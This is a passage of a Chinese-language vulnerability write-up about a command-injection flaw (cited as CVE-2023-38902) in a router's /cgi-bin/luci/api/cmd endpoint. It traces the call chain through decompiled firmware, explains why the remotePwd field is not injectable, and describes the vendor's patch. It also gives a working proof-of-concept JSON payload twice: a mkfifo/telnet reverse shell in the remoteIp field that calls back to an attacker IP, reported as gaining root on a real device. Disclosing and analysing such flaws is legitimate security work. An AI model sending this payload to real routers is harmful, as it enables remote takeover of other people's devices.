if ( v12 == 3 )
break ;
if ( v12 == 4 )
{
gettimeofday(v4 + 5, 0);
uf_sys_handle(**v7, v4 + 1);
LABEL_22:
gettimeofday(v4 + 7, 0);
sub_40B404(v7);
goto LABEL_23;
}
if ( v12 == 2 && ! strcmp (v11[1], "get" ) && !v11[9] && uf_cmd_buf_exist_check(v11[2], 2, v11[3], v4 + 1) )
{
......
}
sub_40B0C4(v7);
LABEL_23:
v4 = ( int *)i;
}
gettimeofday(v4 + 5, 0);
if ( uf_cmd_call(*v4, v4 + 1) )
v13 = 2;
else
v13 = 1;
v4[12] = v13;
goto LABEL_22;
}
......
return v1;
|
uf_cmd_call
函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 | v2 = *( const char **)(a1 + 4);
if ( !v2 || (v3 = *(_DWORD *)a1, *(_DWORD *)a1 >= 6u) || (v4 = *( const char **)(a1 + 8)) == 0 )
{
......
}
memset (v103, 0, 108);
if ( v3 == 3 )
{
......
v5 = *( const char **)(a1 + 20);
if ( !v5 || !*v5 )
goto LABEL_250;
v6 = a1;
if ( !is_self_ip(*(_DWORD *)(v6 + 20)) )
{
remote_call(( int *)a1, ( const char **)a2);
}
......
|
remote_call
函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 | v9 = ( const char *)a1[5];
if ( ! strcmp (a1[2], dword_4232A8) && *a1 == 5 )
{
......
}
......
for ( i = *( const char **)(( char *)&sid_list_by_ip + v11); ; i = *( const char **)i )
{
if ( i == ( char *)&sid_list_by_ip + v11 )
{
pthread_rwlock_unlock(&sid_mutex);
goto LABEL_35;
}
......
LABEL_35:
v14 = sub_41A148(( int )a1);
......
return 0;
|
最终存在命令注入的函数 sub_41A148
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 | v2 = *(_DWORD *)(a1 + 24);
v19 = 0;
if ( v2 )
{
......
}
else
{
ufm_read_file( "/etc/rg_config/admin" , &v19);
if ( !v19 )
{
v19 = ( const char *)strdup( "U2FsdGVkX18POF0/cM8IwywAcZUK8zQngpUv7C2zKng=" );
......
}
}
......
snprintf(
v17,
511,
"curl -m 5 -s -k -X POST http://%s/cgi-bin/luci/api/auth -H content-type:application/json -d '{\"method\":\"login\",\""
"params\":{\"username\":\"admini\",\"password\":\"%s\",\"encry\":\"true\"}}'" ,
*( const char **)(a1 + 20),
v19);
......
v18 = 0;
if ( ufm_popen(v17, &v18) || !v18 )
{
uf_log_printf(uf_log, "ERROR (%s %s %d)curl get sid failed!" , "ufm_remote_call.c" , "fetch_get_sid" , 289);
return 0;
}
......
|
上述的调用链已经分析的很清楚了并且都标注在了注释中,理清楚这些后攻击报文的构造就显而易见了。下面说一下我认为有必要提及的两点
为什么 remotePwd
字段无法注入命令?
在 204
固件中,其实是可以从 remotePwd
字段中注入命令并执行的,而且在最新的固件中,也可以看到这里判断了 remotePwd
是否存在,如果存在的话也可以进行拼接,最终导致命令执行,相关代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 | v2 = *(_DWORD *)(a1 + 24);
v19 = 0;
if ( v2 )
{
v19 = ( const char *)strdup(v2);
.......
}
......
snprintf(
v17,
511,
"curl -m 5 -s -k -X POST http://%s/cgi-bin/luci/api/auth -H content-type:application/json -d '{\"method\":\"login\",\""
"params\":{\"username\":\"admini\",\"password\":\"%s\",\"encry\":\"true\"}}'" ,
*( const char **)(a1 + 20),
v19);
if ( ufm_popen(v17, &v18) || !v18 )
{
......
}
|
但在最新的固件中对 remotePwd
字段注入命令是不成功的。
因为发现在 parse_obj2_cmd
函数中对 json
数据解析时,对于 remotePwd
字段的处理是存在 Bug
的,它限制了 remotePwd
字段要为 array
类型(如下代码所示),但是前端对于 array
类型的 remotePwd
会报错。这里其实能猜测出 remotePwd
字段是 string
类型,实际上代码应该是 json_object_get_type(v37) == 6
。这就导致设置 remotePwd
类型时要么是前端报错,要么是二进制程序中判断这个类型错误,从而阴差阳错的阻止了从这里进行注入
1 | if ( json_object_object_get_ex(v38, "remotePwd" , &v37) == 1 && json_object_get_type(v37) == 5 )
|
而在 204
固件中,它的功能实现都是由 lua
语言来完成的,最终命令执行的漏洞点如下(fetch_sid
函数的参数 password
就为 remotePwd
字段),因此在该固件版本中可以从 remotePwd
字段进行注入,而之后的版本因为 Bug
的原因无法进行注入
攻击报文为什么这么构造?
攻击报文如下,这些字段都是缺一不可的。而没有出现的字段都是可有可无的
1 2 3 4 5 6 7 | {
"method" : "devCap.get" ,
"params" : {
"module" : "123" ,
"remoteIp" : "$(mkfifo /tmp/test;telnet 192.168.45.203 6666 0</tmp/test|/bin/sh > /tmp/test)"
}
}
|
下面来贴出证明这几个字段缺一不可的关键代码(其实上文的分析中都有提到,这里再汇总一下)
method
和 params
不能为空,因为这里有如下检查,如果他们不存在的话会直接返回 -1
1 2 3 4 5 6 7 8 9 10 11 12 13 14 | v6 = json_object_object_get_ex(v3, "params" , &v18);
v7 = v4;
if ( v6 != 1 )
{
LABEL_27:
json_object_put(v7);
return -1;
}
if ( json_object_object_get_ex(v4, "method" , v19) != 1 )
{
LABEL_26:
v7 = v4;
goto LABEL_27;
}
|
而 module
也必须存在,并且 module
字段是 params
中的一个值。可以看到这里解析出了params
,给到 v38
。而后 module
字段是从 v38
也就是 params
中解析出来的,如果 module
字段不存在的话,会执行 return 0
1 2 3 4 5 6 7 8 9 10 11 12 13 14 | if ( json_object_object_get_ex(a1, "params" , &v38) != 1 )
{
......
}
......
if ( json_object_object_get_ex(v38, "module" , &v37) != 1 )
{
uf_log_printf(uf_log, "ERROR (%s %s %d)obj_module is null" , "sgi.c" , "parse_obj2_cmd" , 289);
goto LABEL_109;
}
LABEL_109:
cmd_msg_free(v3);
return 0;
|
而操作类型要设置为 devCap
,下面 if(v3 == 3)
才可以执行到 remote_call
函数。
1 2 3 4 5 6 7 8 9 10 11 | if ( v3 == 3 )
{
......
v5 = *( const char **)(a1 + 20);
if ( !v5 || !*v5 )
goto LABEL_250;
v6 = a1;
if ( !is_self_ip(*(_DWORD *)(v6 + 20)) )
{
remote_call(( int *)a1, ( const char **)a2);
}
|
操作符为 get
是因为在 Lua
文件中只有 opt[i]
为 get
的时候才在 devCap
表中定义了字符串 get
所对应函数
1 2 3 4 5 6 7 8 9 10 | lua
if opt[i] = = "get" then
devCap[opt[i]] = function(params)
local model = require "dev_cap"
params.method = opt[i]
params.cfg_cmd = "dev_cap"
local data, back, ip, password, shell = doParams(params)
return fetch(model.fetch, shell, params, opt[i], params.module, ip, password)
end
end
|
攻击演示
这里拿在某鱼上买的真机进行测试,目标路由器某型号的版本是 217
。但搭建了 219
的仿真环境也是可以攻击成功的
首先登录路由器的管理后台
然后用 Burp Suite
抓包,拿到 auth
的值
向 /cgi-bin/luci/api/cmd
发送 POST
报文
POC
1 2 3 4 5 6 7 | {
"method" : "devCap.get" ,
"params" : {
"module" : "123" ,
"remoteIp" : "$(mkfifo /tmp/test;telnet 192.168.110.171 6666 0</tmp/test|/bin/sh > /tmp/test)"
}
}
|
攻击效果
可以看到反弹 shell
成功,此时拿到了路由器的最高权限
修复方案
官方在 226
版本,对上述漏洞发布了补丁
新添加了一个 detect_remoteIp_invalid
函数,该函数检查了 remoteIP
字段是否为纯数字或者字符 .
,因为正常的 IP
应该为 xx.xx.xx.xx
。这相当于对命令注入的字段做了一个过滤
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 | int __fastcall detect_remoteIp_invalid( char *buf)
{
int len;
char *v3;
char *v4;
int v5;
len = strlen (buf);
v3 = buf;
v4 = &buf[len];
while ( v3 != v4 )
{
v5 = *v3;
if ( (unsigned __int8 )(v5 - 48) < 0xAu )
{
++v3;
}
else
{
++v3;
if ( v5 != '.' )
{
uf_log_printf(
uf_log,
"ERROR (%s %s %d)invalid char: %c, need [number][.][number]!" ,
"sgi.c" ,
"detect_remoteIp_invalid" ,
273,
v5);
return -1;
}
}
}
return 0;
}
|
参考信息
https://cve.mitre.org/cgi-bin/cvename.cgi?name=2023-38902
[培训]内核驱动高级班,冲击BAT一流互联网大厂工
作,每周日13:00-18:00直播授课